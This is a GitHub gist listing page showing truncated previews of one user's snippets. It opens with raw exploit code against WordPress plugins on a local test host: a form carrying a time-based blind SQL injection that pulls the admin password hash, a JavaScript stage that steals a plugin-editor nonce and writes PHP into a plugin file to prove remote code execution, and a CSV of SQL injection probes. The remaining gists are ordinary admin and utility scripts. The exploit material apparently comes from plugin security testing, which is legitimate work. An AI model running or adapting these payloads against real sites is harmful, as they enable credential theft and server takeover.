lsemenenko’s gists

lsemenenko / a.html

Last active March 21, 2026 07:17

	<!doctype html>
	<html>
	<body>
	<form id="step1" action="https://a.local/wp-admin/admin-ajax.php" method="POST">
	<input name="action" value="woobe_filter_products">
	<input name="filter_current_key" value="theory4_true">
	<input name="filter_data" value="woobe_filter[post_date_from]=2100-01-01%27 OR IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1 LIMIT 1),2,1)=%27w%27,SLEEP(3),0)%23">
	</form>

	<form id="step2" action="https://a.local/wp-admin/admin-ajax.php" method="POST" target="sink">

lsemenenko / t6-stage2.js

Created March 21, 2026 04:07

(async()=>{try{t='official-mailerlite-sign-up-forms/src/Models/MailerLiteField.php';p='official-mailerlite-sign-up-forms/mailerlite.php';u='/wp-admin/plugin-editor.php?file='+encodeURIComponent(t)+'&plugin='+encodeURIComponent(p);h=await(await fetch(u,{credentials:'include'})).text();m=h.match(/name="nonce"\s+value="([^"]+)/);if(!m){document.body.prepend('T6_NONCE_FAIL');return;}b=new URLSearchParams({nonce:m[1],_wp_http_referer:'/wp-admin/plugin-editor.php?file='+encodeURIComponent(t)+'&plugin='+encodeURIComponent(p),newcontent:'<?php phpinfo(); exit; ?>',action:'update',file:t,plugin:p,'docs-list':'',submit:'Update File'});r=await fetch('/wp-admin/plugin-editor.php',{method:'POST',credentials:'include',headers:{'Content-Type':'application/x-www-form-urlencoded'},body:b});x=await(await fetch('/wp-content/plugins/'+t+'?wf_t6=1&_='+Date.now(),{credentials:'include'})).text();document.body.prepend('T6_WRITE:'+r.status);document.body.prepend('T6_RCE:'+((x.includes('PHP Version')||x.includes('phpinfo()'))?'YES':'

lsemenenko / test.csv

Last active March 21, 2026 00:32

sadasd

	post_title	post_status
	baseline_probe_7392_unique	trash
	sqli_probe_7392_unique' OR (SELECT SLEEP(1)) OR '1'='2	trash
	sqli_probe_7392_unique' OR (SELECT SLEEP(5)) OR '1'='2	trash

lsemenenko / gist:3a3b894ea406e745833d3dcb3662e836

Created February 8, 2026 04:11

	import { useState } from "react";

	const MOCK_DATA = {
	profile: {
	name: "Leonid Kuznetsov",
	title: "Head of Engineering",
	company: "GridPane",
	avatar: "LK",
	status: "online",
	bio: "20 years of DevOps experience. Building high-performance WordPress hosting infrastructure at scale.",

lsemenenko / combine_files.sh

Created November 24, 2024 23:50

Combine files, with filename/dir hints, to load into AI

	#!/bin/bash

	# ===========================================================================
	# File Combiner - Combines multiple files into a single file with path headers
	# ===========================================================================
	#
	# Description:
	# This script recursively combines files from a directory into a single file,
	# adding the file path as a comment before each file's content. Useful for
	# preparing codebases for AI analysis or documentation.

lsemenenko / vultr.sh

Created October 11, 2024 12:50

List Vultr servers via API

	#!/bin/bash

	# Check if API key is provided
	if [ $# -eq 0 ]; then
	echo "Usage: $0 <VULTR_API_KEY>"
	exit 1
	fi

	# Vultr API key from command-line argument
	VULTR_API_KEY="$1"

lsemenenko / gist:8282e34ef722e9e75843396ea3d13607

Created January 21, 2021 03:49

Change all users with specific role to another role across MU network with WP-CLI

	for i in $(sudo -u www-data wp site list --field=url); \
	do
	echo ${i}; \
	a="$(sudo -u www-data wp user list --url=${i} --role=SuperUser --field=user_login)"; \
	if [[ ! -z "${a}" ]]; then \
	sudo -u www-data wp user --url="${i}" update "${a}" --role "administrator"; \
	echo "User ${a} updated for site ${i}."; \
	fi; \
	done

lsemenenko / gist:b080ea195de92869449cd3f241b5ae7e

Created March 22, 2020 09:12

Resize filesystem on live instance

	sudo file -s /dev/xvd*
	/dev/xvda: DOS/MBR boot sector
	/dev/xvda1: Linux rev 1.0 ext4 filesystem data, UUID=651cda91-e465-4685-b697-67aa07181279, volume name "cloudimg-rootfs" (needs journal recovery) (extents) (64bit) (large files) (huge files)

	sudo growpart /dev/xvda 1
	sudo resize2fs /dev/xvda1

lsemenenko / gist:f47b93184afed83fd7c5589b4ff109f4

Last active July 17, 2020 02:04

Format PDF text export from BOA for Tiller Import

	#!/bin/bash

	pat='([0-9]{2}/[0-9]{2}/[0-9]{2}).(.*)\ (-?[0-9,]+\.[0-9]{2})'
	while IFS= read -r line; do
	[[ $line =~ $pat ]] &&
	echo "${BASH_REMATCH[1]}\|${BASH_REMATCH[2]}\|${BASH_REMATCH[3]}"
	done <file.txt

lsemenenko / main.sh

Created February 22, 2020 06:18

Trigger Github Actions repository_dispatch with curl

	#!/bin/bash

	TOKEN=""
	REPO="" # format: username/repository
	EVENT_TYPE=""

	curl -H "Accept: application/vnd.github.everest-preview+json" \
	-H "Authorization: token ${TOKEN}" \
	--request POST \
	--data '{"event_type": "${EVENT_TYPE}"}' \

Leo Semenenko lsemenenko